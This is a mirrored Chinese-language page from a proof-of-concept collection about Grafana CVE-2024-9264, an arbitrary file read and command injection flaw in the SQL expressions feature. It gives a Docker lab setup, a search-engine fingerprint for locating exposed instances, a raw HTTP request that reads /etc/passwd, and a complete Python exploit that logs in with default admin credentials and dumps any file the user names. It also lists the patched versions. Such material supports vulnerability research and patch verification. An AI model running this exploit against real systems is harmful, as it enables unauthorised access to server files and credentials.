mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-05 10:50:23 +00:00
263 lines
7.0 KiB
Markdown
263 lines
7.0 KiB
Markdown
|
|
# Grafana SQL 表达式远程代码执行漏洞 CVE-2024-9264
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Grafana 的 SQL 表达式实验特性功能允许用户输入的 `duckdb` 查询。这些查询在传递给 `duckdb` 之前未经过充分过滤,从而导致命令注入和本地文件包含漏洞。任何具有 VIEWER 或更高权限的用户都能够执行此攻击。
|
|||
|
|
|
|||
|
|
注意,`duckdb` 二进制文件必须存在于 Grafana 的 `$PATH` 中,此攻击才能成功;默认情况下,此二进制文件未安装在 Grafana 发行版中。
|
|||
|
|
|
|||
|
|
参考链接:
|
|||
|
|
|
|||
|
|
- https://grafana.com/security/security-advisories/cve-2024-9264/
|
|||
|
|
- https://zekosec.com/blog/file-read-grafana-cve-2024-9264/
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Grafana 11.x.x
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app="Grafana_Labs-公司产品"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
我们使用 Grafana 11.0.0 构建环境,安装 `duckdb` 二进制文件并将其添加到 Grafana 的 `$PATH` 中。下载 [duckdb_cli-linux-amd64.zip](https://github.com/duckdb/duckdb/releases/download/v0.8.1/duckdb_cli-linux-amd64.zip),与 Dockerfile、docker-compose.yml 放置在同一目录。
|
|||
|
|
|
|||
|
|
Dockerfile
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
FROM grafana/grafana:11.0.0-ubuntu
|
|||
|
|
|
|||
|
|
USER root
|
|||
|
|
|
|||
|
|
# Install DuckDB
|
|||
|
|
COPY duckdb_cli-linux-amd64.zip /tmp/
|
|||
|
|
|
|||
|
|
RUN apt-get update && apt-get install -y && apt-get install unzip -y
|
|||
|
|
&& unzip /tmp/duckdb_cli-linux-amd64.zip -d /usr/local/bin/ \
|
|||
|
|
&& chmod +x /usr/local/bin/duckdb \
|
|||
|
|
&& rm /tmp/duckdb_cli-linux-amd64.zip
|
|||
|
|
|
|||
|
|
# Add DuckDB to the PATH
|
|||
|
|
ENV PATH="/usr/local/bin:${PATH}"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
docker-compose.yml
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
services:
|
|||
|
|
mysql:
|
|||
|
|
image: mysql:latest
|
|||
|
|
restart: always
|
|||
|
|
environment:
|
|||
|
|
- MYSQL_ROOT_PASSWORD=rootpassword
|
|||
|
|
- MYSQL_DATABASE=grafanadb
|
|||
|
|
- MYSQL_USER=grafana
|
|||
|
|
- MYSQL_PASSWORD=grafanapassword
|
|||
|
|
volumes:
|
|||
|
|
- ./mysql-data:/var/lib/mysql
|
|||
|
|
ports:
|
|||
|
|
- "3306:3306"
|
|||
|
|
healthcheck:
|
|||
|
|
test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
|
|||
|
|
interval: 10s
|
|||
|
|
timeout: 5s
|
|||
|
|
retries: 3
|
|||
|
|
|
|||
|
|
grafana:
|
|||
|
|
build: .
|
|||
|
|
ports:
|
|||
|
|
- "3000:3000"
|
|||
|
|
environment:
|
|||
|
|
- GF_SECURITY_ADMIN_PASSWORD=AwesomePoc123!
|
|||
|
|
- GF_DATABASE_TYPE=mysql
|
|||
|
|
- GF_DATABASE_HOST=mysql:3306
|
|||
|
|
- GF_DATABASE_USER=grafana
|
|||
|
|
- GF_DATABASE_PASSWORD=grafanapassword
|
|||
|
|
- GF_DATABASE_NAME=grafanadb
|
|||
|
|
volumes:
|
|||
|
|
- grafana-storage:/var/lib/grafana
|
|||
|
|
- ./grafana.ini:/etc/grafana/grafana.ini
|
|||
|
|
|
|||
|
|
depends_on:
|
|||
|
|
mysql:
|
|||
|
|
condition: service_healthy
|
|||
|
|
volumes:
|
|||
|
|
grafana-storage:
|
|||
|
|
mysql-storage:
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
当前目录执行如下命令,启动一个 Grafana 11.0.0 环境:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
docker build -t grafana:11.0.0 .
|
|||
|
|
docker-compose up -d
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
环境启动后,访问 `http://your-ip:3000` 即可查看到管理后台。由于配置了密码,需要使用 `admin/AwesomePoc123!` 登录管理后台。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
发送如下 POST 请求,将数据源类型修改为 `sql`。利用 `read_csv_auto()` 从目标系统读取任意文件,例如,`/etc/passwd`:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q100 HTTP/1.1
|
|||
|
|
Host: your-ip:3000
|
|||
|
|
Content-Type: application/json
|
|||
|
|
Cookie: grafana_session=23e897e4377fbd8c0386eb7d7d6c4664; grafana_session_expiry=1730791660
|
|||
|
|
Content-Length: 368
|
|||
|
|
|
|||
|
|
{
|
|||
|
|
"from": "1696154400000",
|
|||
|
|
"to": "1696345200000",
|
|||
|
|
"queries": [
|
|||
|
|
{
|
|||
|
|
"datasource": {
|
|||
|
|
"name": "Expression",
|
|||
|
|
"type": "__expr__",
|
|||
|
|
"uid": "__expr__"
|
|||
|
|
},
|
|||
|
|
"expression": "SELECT * FROM read_csv_auto('/etc/passwd');",
|
|||
|
|
"hide": false,
|
|||
|
|
"refId": "B",
|
|||
|
|
"type": "sql",
|
|||
|
|
"window": ""
|
|||
|
|
}
|
|||
|
|
]
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
## 漏洞 POC
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
#!/usr/bin/env python3
|
|||
|
|
|
|||
|
|
"""
|
|||
|
|
Grafana File Read PoC (CVE-2024-9264)
|
|||
|
|
Author: z3k0sec // www.zekosec.com
|
|||
|
|
"""
|
|||
|
|
|
|||
|
|
|
|||
|
|
import requests
|
|||
|
|
import json
|
|||
|
|
import sys
|
|||
|
|
import argparse
|
|||
|
|
|
|||
|
|
class Console:
|
|||
|
|
def log(self, msg):
|
|||
|
|
print(msg, file=sys.stderr)
|
|||
|
|
|
|||
|
|
console = Console()
|
|||
|
|
|
|||
|
|
def msg_success(msg):
|
|||
|
|
console.log(f"[SUCCESS] {msg}")
|
|||
|
|
|
|||
|
|
def msg_failure(msg):
|
|||
|
|
console.log(f"[FAILURE] {msg}")
|
|||
|
|
|
|||
|
|
def failure(msg):
|
|||
|
|
msg_failure(msg)
|
|||
|
|
sys.exit(1)
|
|||
|
|
|
|||
|
|
def authenticate(s, url, u, p):
|
|||
|
|
res = s.post(f"{url}/login", json={"password": p, "user": u})
|
|||
|
|
if res.json().get("message") == "Logged in":
|
|||
|
|
msg_success(f"Logged in as {u}:{p}")
|
|||
|
|
else:
|
|||
|
|
failure(f"Failed to log in as {u}:{p}")
|
|||
|
|
|
|||
|
|
def run_query(s, url, query):
|
|||
|
|
query_url = f"{url}/api/ds/query?ds_type=__expr__&expression=true&requestId=1"
|
|||
|
|
query_payload = {
|
|||
|
|
"from": "1696154400000",
|
|||
|
|
"to": "1696345200000",
|
|||
|
|
"queries": [
|
|||
|
|
{
|
|||
|
|
"datasource": {
|
|||
|
|
"name": "Expression",
|
|||
|
|
"type": "__expr__",
|
|||
|
|
"uid": "__expr__"
|
|||
|
|
},
|
|||
|
|
"expression": query,
|
|||
|
|
"hide": False,
|
|||
|
|
"refId": "B",
|
|||
|
|
"type": "sql",
|
|||
|
|
"window": ""
|
|||
|
|
}
|
|||
|
|
]
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
res = s.post(query_url, json=query_payload)
|
|||
|
|
data = res.json()
|
|||
|
|
|
|||
|
|
# Handle unexpected response
|
|||
|
|
if "message" in data:
|
|||
|
|
msg_failure("Unexpected response:")
|
|||
|
|
msg_failure(json.dumps(data, indent=4))
|
|||
|
|
return None
|
|||
|
|
|
|||
|
|
# Extract results
|
|||
|
|
frames = data.get("results", {}).get("B", {}).get("frames", [])
|
|||
|
|
|
|||
|
|
if frames:
|
|||
|
|
values = [
|
|||
|
|
row
|
|||
|
|
for frame in frames
|
|||
|
|
for row in frame["data"]["values"]
|
|||
|
|
]
|
|||
|
|
|
|||
|
|
if values:
|
|||
|
|
msg_success("Successfully ran DuckDB query:")
|
|||
|
|
return values
|
|||
|
|
|
|||
|
|
failure("No valid results found.")
|
|||
|
|
|
|||
|
|
def decode_output(values):
|
|||
|
|
return [":".join(str(i) for i in row if i is not None) for row in values]
|
|||
|
|
|
|||
|
|
def main(url, user="admin", password="admin", file=None):
|
|||
|
|
s = requests.Session()
|
|||
|
|
authenticate(s, url, user, password)
|
|||
|
|
file = file or "/etc/passwd"
|
|||
|
|
escaped_filename = requests.utils.quote(file)
|
|||
|
|
query = f"SELECT * FROM read_csv_auto('{escaped_filename}');"
|
|||
|
|
content = run_query(s, url, query)
|
|||
|
|
if content:
|
|||
|
|
msg_success(f"Retrieved file {file}:")
|
|||
|
|
for line in decode_output(content):
|
|||
|
|
print(line)
|
|||
|
|
|
|||
|
|
if __name__ == "__main__":
|
|||
|
|
parser = argparse.ArgumentParser(description="Arbitrary File Read in Grafana via SQL Expression (CVE-2024-9264).")
|
|||
|
|
parser.add_argument("--url", help="URL of the Grafana instance to exploit")
|
|||
|
|
parser.add_argument("--user", default="admin", help="Username to log in as, defaults to 'admin'")
|
|||
|
|
parser.add_argument("--password", default="admin", help="Password used to log in, defaults to 'admin'")
|
|||
|
|
parser.add_argument("--file", help="File to read on the server, defaults to '/etc/passwd'")
|
|||
|
|
|
|||
|
|
|
|||
|
|
args = parser.parse_args()
|
|||
|
|
main(args.url, args.user, args.password, args.file)
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞修复
|
|||
|
|
|
|||
|
|
该漏洞最早出现在 Grafana 11.0.0 版本,现已在以下版本(OSS 和 Enterprise 版本)中修复:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
11.0.5+security-01
|
|||
|
|
11.1.6+security-01
|
|||
|
|
11.2.1+security-01
|
|||
|
|
11.0.6+security-01
|
|||
|
|
11.1.7+security-01
|
|||
|
|
11.2.2+security-01
|
|||
|
|
```
|